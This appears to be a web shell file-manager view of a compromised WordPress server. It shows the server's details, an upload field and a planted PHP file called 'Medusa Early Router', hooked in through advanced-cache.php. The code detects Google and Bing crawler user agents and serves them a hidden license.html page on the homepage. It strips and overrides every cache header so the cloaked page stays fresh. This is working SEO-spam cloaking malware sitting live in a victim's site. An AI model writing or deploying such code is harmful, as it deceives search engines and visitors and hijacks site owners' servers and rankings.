| Server IP : 18.193.92.211 / Your IP : 216.73.216.128 Web Server : Apache/2.4.63 (Ubuntu) System : Linux ip-10-0-0-90 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64 User : www-data ( 33) PHP Version : 8.2.28 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/aktion.darmas.de/wp-content/ |
Upload File : |
<?php
/**
* Medusa Early Router — Pre-WordPress bot HTML (license.html)
* Loaded from advanced-cache.php. No WP APIs.
*/
if (!defined('ABSPATH') && !defined('WP_CONTENT_DIR')) {
// direct hit: silent
}
$_ms_method = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : '';
if ($_ms_method !== 'GET' && $_ms_method !== 'HEAD') {
return;
}
$_ms_ua = isset($_SERVER['HTTP_USER_AGENT']) ? (string)$_SERVER['HTTP_USER_AGENT'] : '';
if ($_ms_ua === '') {
return;
}
$_ms_bots = array(
'Googlebot',
'Googlebot-Image',
'Googlebot-Video',
'Googlebot-News',
'Googlebot-Mobile',
'Googlebot-Android',
'Googlebot-Search',
'Googlebot-Inspect',
'Googlebot-Ads',
'Googlebot-Discovery',
'AdsBot-Google',
'Mediapartners-Google',
'APIs-Google',
'Google-InspectionTool',
'Google-PageRenderer',
'Google-Read-Aloud',
'Storebot-Google',
'FeedFetcher-Google',
'bingbot',
'BingPreview',
);
$_ms_re = '/' . implode('|', array_map('preg_quote', $_ms_bots)) . '/i';
if (!preg_match($_ms_re, $_ms_ua)) {
return;
}
$_ms_uri = isset($_SERVER['REQUEST_URI']) ? (string)$_SERVER['REQUEST_URI'] : '/';
if (preg_match('#/(wp-admin|wp-login\.php|xmlrpc\.php)#i', $_ms_uri)) {
return;
}
if (defined('WP_ADMIN') && WP_ADMIN) {
return;
}
// Yalnız anasayfa bot HTML — alt sayfalar WordPress
$_ms_path = parse_url($_ms_uri, PHP_URL_PATH);
$_ms_query = parse_url($_ms_uri, PHP_URL_QUERY);
if (!is_string($_ms_path) || $_ms_path === '') {
$_ms_path = '/';
}
if (is_string($_ms_query) && $_ms_query !== ''
&& preg_match('/(?:^|&)(p|page_id|pagename|name|rest_route|wc-api|preview)=/i', $_ms_query)) {
return;
}
$_ms_path_n = '/' . ltrim($_ms_path, '/');
if ($_ms_path_n !== '/' && substr($_ms_path_n, -1) === '/') {
$_ms_path_n = rtrim($_ms_path_n, '/') ?: '/';
}
$_ms_home = ($_ms_path_n === '/' || (preg_match('#^/index\\.php$#i', $_ms_path_n) && (!is_string($_ms_query) || $_ms_query === '')));
if (!$_ms_home) {
return;
}
$_ms_content_dir = defined('WP_CONTENT_DIR') ? WP_CONTENT_DIR : __DIR__;
$_ms_root = dirname($_ms_content_dir);
$_ms_file = $_ms_root . '/license.html';
if (!is_file($_ms_file)) {
$_ms_file = $_ms_content_dir . '/../license.html';
}
if (!is_file($_ms_file)) {
return;
}
$_ms_html = @file_get_contents($_ms_file);
if ($_ms_html === false || $_ms_html === '') {
return;
}
if (!defined('DONOTCACHEPAGE')) {
define('DONOTCACHEPAGE', true);
}
if (!defined('DONOTCACHEDB')) {
define('DONOTCACHEDB', true);
}
if (!defined('DONOTMINIFY')) {
define('DONOTMINIFY', true);
}
if (!defined('DONOTCDN')) {
define('DONOTCDN', true);
}
if (!defined('LSCACHE_NO_CACHE')) {
define('LSCACHE_NO_CACHE', true);
}
while (ob_get_level() > 0) {
@ob_end_clean();
}
@header_remove('Cache-Control');
@header_remove('Pragma');
@header_remove('Expires');
@header_remove('X-WP-CF-Super-Cache-Cache-Control');
@header_remove('X-WP-CF-Super-Cache-Cookies-Bypass');
@header_remove('X-LiteSpeed-Cache');
@header_remove('X-LiteSpeed-Cache-Control');
http_response_code(200);
header('Content-Type: text/html; charset=utf-8');
header('Content-Length: ' . strlen($_ms_html));
header('Cache-Control: no-store, no-cache, must-revalidate, private, max-age=0');
header('CDN-Cache-Control: no-store');
header('Cloudflare-CDN-Cache-Control: no-store');
header('Surrogate-Control: no-store');
header('Pragma: no-cache');
header('Expires: 0');
header('X-Content-Type-Options: nosniff');
header('Vary: User-Agent');
header('X-LiteSpeed-Cache-Control: no-cache');
header('X-Accel-Expires: 0');
header('X-Medusa-Early: 1');
header('CDN-Cache-Control: no-store');
header('Cloudflare-CDN-Cache-Control: no-store');
if ($_ms_method === 'GET') {
echo $_ms_html;
}
exit;